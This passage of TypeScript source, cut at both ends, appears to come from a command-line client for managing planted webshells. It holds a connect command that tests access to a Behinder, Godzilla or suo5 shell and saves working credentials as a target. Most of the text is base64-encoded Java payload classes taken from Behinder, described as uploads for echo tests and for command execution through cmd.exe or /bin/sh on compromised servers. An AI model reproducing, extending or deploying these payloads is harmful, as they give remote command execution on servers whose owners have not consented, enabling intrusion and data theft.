let conn;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n profile: opts.profile,\n upgradeProtocol: opts.upgradeProtocol,\n });\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const common: CommonConnectOptions = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n upgradeProtocol: conn.upgradeProtocol,\n };\n\n let result: ConnectTestResult;\n try {\n const protocol = requireProtocol(conn.tool);\n const options: ProtocolOptions = {\n suo5Mode: opts.suo5Mode,\n profile: conn.profile,\n dynamicPath: opts.dynamicPath,\n };\n result = await protocol.test({ conn, common, options });\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n // a successful handshake proves the credentials — keep them as a named target\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined && opts.save !== false) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n\n logOp({\n category: \"connect\",\n action: \"connect\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.detail,\n error: result.error,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\\n`);\n } else if (result.ok) {\n process.stdout.write(`OK ${result.tool} ${result.url}\\n ${result.detail ?? \"\"}\\n`);\n if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);\n } else {\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\n }\n if (!result.ok) {\n process.exitCode = 1;\n }\n });\n}\n","/**\n * Embedded webshell payload templates, base64-encoded so the bundled CLI\n * stays self-contained (no runtime asset files to resolve).\n *\n * Regenerate from the binaries in src/connect/assets/ with:\n * node scratch/connect-work/gen-assets.cjs\n *\n * Source binaries live in src/connect/assets/:\n * - Echo.class: net.rebeyond.behinder.payload.java.Echo from Behinder v3 —\n * the payload the Behinder client uploads for its echo/connect test.\n * - Cmd.class: net.rebeyond.behinder.payload.java.Cmd from Behinder v3 —\n * the payload the Behinder client uploads for command execution (its\n * static `cmd` field is filled client-side before upload).\n * - FileOperation.class: net.rebeyond.behinder.payload.java.FileOperation\n * from Behinder v4.1 — the payload for file transfer (static fields\n * mode/path/content/blockIndex/blockSize filled client-side).\n * - GodzillaPayload.class: shells/payloads/java/assets/payload.classs from\n * godzilla.jar — the payload class uploaded on Godzilla connect.\n */\n\nconst ECHO_CLASS_B64 =\n \"yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsA\" +\n \"vAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAi\" +\n \"AM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADe\" +\n \"CwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA\" +\n \"8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQK\" +\n \"AQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0\" +\n \"AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1i\" +\n \"ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9F\" +\n \"Y2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0\" +\n \"aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZh\" +\n \"cmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1T\" +\n \"dGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9j\" +\n \"cnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2Jv\" +\n \"cwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwv\" +\n \"TWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0\" +\n \"cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztM\" +\n \"amF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7\" +\n \"KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2\" +\n \"NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVl\" +\n \"cnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAG\" +\n \"cmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGls\" +\n \"L0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1\" +\n \"dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEV\" +\n \"DAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEA\" +\n \"EGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMM\" +\n \"AGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8v\" +\n \"Qnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEu\" +\n \"dmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIB\" +\n \"MwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApn\" +\n \"ZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNv\" +\n \"ZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9U\" +\n \"aHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRp\" +\n \"bC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRv\" +\n \"cgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xh\" +\n \"c3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNz\" +\n \"OylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9s\" +\n \"YW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcv\" +\n \"U3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5n\" +\n \"AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0\" +\n \"by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkB\" +\n \"ABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEA\" +\n \"BmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEv\" +\n \"dXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMo\" +\n \"KVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2Jq\" +\n \"ZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEA\" +\n \"B2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzsp\" +\n \"TGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEv\" +\n \"bGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB\" +\n \"ABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEA\" +\n \"YQAPAAAABQAJAGIAYwAAAAkAZABjAAAAAgBlAGYAAAACAGcAZgAAAAIAaABmAAAABwABAGkAagABAGsAAAAvAAEAAQAAAAUqtwAB\" +\n \"sQAAAAIAbAAAAAYAAQAAAA4AbQAAAAwAAQAAAAUAbgBvAAAAAQBwAHEAAQBrAAADkwAJAAgAAAHWuwACWbcAA00qK7cABCwSBRIG\" +\n \"uQAHAwBXLBIIsgAJuQAHAwBXKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQTi22AAsSEQS9AA1ZAxISU7YADjoEGQQtBL0AD1kD\" +\n \"KiosBLcAExIUtgAVtwAWU7YAEFcttgALEhcDvQANtgAOLQO9AA+2ABBXLbYACxIYA70ADbYADi0DvQAPtgAQV6cBN04ttgAapwEv\" +\n \"TiwSCC22ABu5AAcDAFcsEgUSBrkABwMAVyq0AAq2AAsSDAO9AA22AA4qtAAKA70AD7YAEE4ttgALEhEEvQANWQMSElO2AA46BBkE\" +\n \"LQS9AA9ZAyoqLAS3ABMSFLYAFbcAFlO2ABBXLbYACxIXA70ADbYADi0DvQAPtgAQVy22AAsSGAO9AA22AA4tA70AD7YAEFenAJpO\" +\n \"LbYAGqcAkjoFKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQOgYZBrYACxIRBL0ADVkDEhJTtgAOOgcZBxkGBL0AD1kDKiosBLcA\" +\n \"ExIUtgAVtwAWU7YAEFcZBrYACxIXA70ADbYADhkGA70AD7YAEFcZBrYACxIYA70ADbYADhkGA70AD7YAEFenAAo6BhkGtgAaGQW/\" +\n \"BKwABwAkAJ0AoAAZAAgAJACoABkAwQE6AT0AGQAIACQBRQAAAKgAwQFFAAABRwHHAcoAGQFFAUcBRQAAAAQAbAAAAJIAJAAAABgA\" +\n \"CAAaAA0AGwAYABwAJAAyAEAAMwBUADQAcQA3AIcAOACdAD8AoAA7AKEAPgClAEAAqAAdAKkAHwC2ACAAwQAyAN0AMwDxADQBDgA3\" +\n \"ASQAOAE6AD8BPQA7AT4APgFCAEABRQAmAUcAMgFkADMBeQA0AZcANwGvADgBxwA/AcoAOwHMAD4B0QBAAdQAQQBtAAAAhAANAEAA\" +\n \"XQByAGYAAwBUAEkAcwB0AAQAoQAEAHUAdgADAKkAGAB1AHYAAwDdAF0AcgBmAAMA8QBJAHMAdAAEAT4ABAB1AHYAAwFkAGMAcgBm\" +\n \"AAYBeQBOAHMAdAAHAcwABQB1AHYABgAAAdYAbgBvAAAAAAHWAHcAZgABAAgBzgB4AHkAAgB6AAAADAABAAgBzgB4AHsAAgB8AAAA\" +\n \"PwAH/wCgAAMHAGEHAA8HAEsAAQcAGUcHABn3AJQHABlHBwBV/wCEAAYHAGEHAA8HAEsAAAcAVQABBwAZBvgAAgACAH0AfgACAGsA\" +\n \"AAEAAAYACAAAAHAqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTSwSIbYAFU67ACJZLRIjtwAkOgQSJbgA\" +\n \"JjoFGQUEGQS2ACgZBSu2ACk6BrsAKlm3ACs6BxkHGQa2ACwqGQe2AC23AC62AC+wAAAAAgBsAAAAJgAJAAAARwApAEgAMABJADwA\" +\n \"SgBDAEsASwBMAFMATQBcAE4AYwBQAG0AAABSAAgAAABwAG4AbwAAAAAAcAB/AIAAAQApAEcAgQBjAAIAMABAAIIAgAADADwANACD\" +\n \"AIQABABDAC0AhQCGAAUAUwAdAIcAgAAGAFwAFACIAIkABwCKAAAABAABABkAAgCLAIwAAwBrAAABdwADAAgAAACmuwAwWbcAMU4S\" +\n \"MrgAMzoELRI0tgA1Vyu5ADYBALkANwEAOgUZBbkAOAEAmQBaGQW5ADkBAMAAHjoGLbsAMFm3ADESOrYANRkGtgA1Eju2ADW2ADy2\" +\n \"ADVXKxkGuQA9AgDAAB46BxyZAA4qGQe2AC+3AC46By0ZB7YANVctEj62ADVXp/+iLbYAPBI/tgBAmQANLS22AEEEZLYAQi0SQ7YA\" +\n \"NVcttgA8sAAAAAQAbAAAAD4ADwAAAFUACABWAA8AVwAWAFgAOQBaAFcAWwBkAFwAaABeAHMAYgB6AGMAgQBkAIQAZQCQAGYAmgBn\" +\n \"AKEAaABtAAAASAAHAGQAHQCNAGMABwA5AEgAgQBjAAYAAACmAG4AbwAAAAAApgCOAHkAAQAAAKYAjwCQAAIACACeAJEAkgADAA8A\" +\n \"lwCTAGMABAB6AAAADAABAAAApgCOAHsAAQB8AAAAGwAE/gAjBwAwBwAeBwCU/QBPBwAeBwAe+AAQFQCKAAAABAABABkAlQAAAAIA\" +\n \"lgACAJcAmAACAGsAAAEtAAYAAwAAAK0rtgALtgBEEkW2AEabAFEqK7YACxJHA70ADbYADisDvQAPtgAQtQBIKiu2AAsSSQO9AA22\" +\n \"AA4rA70AD7YAELUACiortgALEkoDvQANtgAOKwO9AA+2ABC1ABynACwrwABLTSosEky5AD0CALUAHCosEk25AD0CALUACiosEk65\" +\n \"AD0CALUASCq0AAq2AAsSTwS9AA1ZAxIeU7YADiq0AAoEvQAPWQMSFFO2ABBXsQAAAAQAbAAAACoACgAAAGsADwBtACgAbgBBAG8A\" +\n \"XQBzAGIAdABuAHUAegB2AIYAeACsAHkAbQAAACAAAwBiACQAmQB5AAIAAACtAG4AbwAAAAAArQB3AGYAAQB6AAAADAABAGIAJACZ\" +\n \"AJoAAgB8AAAABgAC+wBdKACKAAAABAABABkAAgCbAJwAAgBrAAABdgAGAAcAAACTElBNEjK4ADM6BCq2AAtXElG4AFJOLRJTAbYA\" +\n \"Di0BtgAQOgUZBbYACxJUBL0ADVkDEhJTtgAOGQUEvQAPWQMrU7YAEMAAHk2nAEo6BSq2AAtXEla4AFJOLbYAVzoGGQa2AAsSWAS9\" +\n \"AA1ZAxISU7YADhkGBL0AD1kDK1O2ABDAAB5NLBJZElC2AFoSWxJQtgBaTSywAAEACgBHAEoAVQADAGwAAAAyAAwAAAB8AAMAfgAK\" +\n \"AIEAFQCCACMAgwBHAIsASgCFAEwAhwBXAIgAXQCJAIEAigCRAIwAbQAAAFwACQAjACQAnQBmAAUAFQA1AJ4AnwADAF0ANACdAGYA\" +\n \"BgBMAEUAoAChAAUAAACTAG4AbwAAAAAAkwCiAIAAAQADAJAAeABjAAIAVwA8AJ4AnwADAAoAiQCTAGMABAB8AAAALwAC/wBKAAUH\" +\n \"AGEHABIHAB4ABwAeAAEHAFX/AEYABQcAYQcAEgcAHgcADQcAHgAAAIoAAAAEAAEAGQACAKMApAACAGsAAAD+AAYABgAAAGYqtAAc\" +\n \"tgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTCsDBbYAXBAQuABdEBBwPbsAXlm3AF9OHLwIOgQDNgUVBRkEvqIA\" +\n \"FhkEFQUtEQEAtgBgkVSEBQGn/+gZBLAAAAADAGwAAAAiAAgAAACPACkAkAA4AJEAQACSAEUAkwBQAJUAXQCTAGMAlwBtAAAAPgAG\" +\n \"AEgAGwClAKYABQAAAGYAbgBvAAAAKQA9AIEAYwABADgALgCnAKYAAgBAACYAqACpAAMARQAhAKoAgAAEAHwAAAAaAAL/AEgABgcA\" +\n \"YQcAHgEHAF4HABIBAAD6ABoAigAAAAQAAQAZAAEAqwAAAAIArA==\";\n\nconst CMD_CLASS_B64 =\n \"yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDf\" +\n \"BwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goA\" +\n \"JwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEF\" +\n \"CAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBG\" +\n \"ARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgL\" +\n \"AMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkH\" +\n \"AToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBh\" +\n \"dGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24B\" +\n \"AAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQv\" +\n \"cmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEA\" +\n \"BXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVz\" +\n \"dWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcv\" +\n \"U3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzsp\" +\n \"TGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVy\" +\n \"OwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNy\" +\n \"eXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtl\" +\n \"eVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFy\" +\n \"cmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0\" +\n \"AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVp\" +\n \"bGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFa\" +\n \"AQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xh\" +\n \"bmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9s\" +\n \"YW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0\" +\n \"Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1\" +\n \"ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6\" +\n \"AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZh\" +\n \"L2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhj\" +\n \"ZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEA\" +\n \"B3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1j\" +\n \"AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEA\" +\n \"F2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04\" +\n \"AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEA\" +\n \"E2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACw\" +\n \"ALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmlu\" +\n \"ZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwM\" +\n \"AX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdl\" +\n \"Q29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNz\" +\n \"aW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1Jh\" +\n \"bmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hh\" +\n \"cnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9P\" +\n \"YmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNz\" +\n \"OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01l\" +\n \"dGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcv\" +\n \"T2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdl\" +\n \"AQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZh\" +\n \"L2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5k\" +\n \"ZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFu\" +\n \"Zy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJl\" +\n 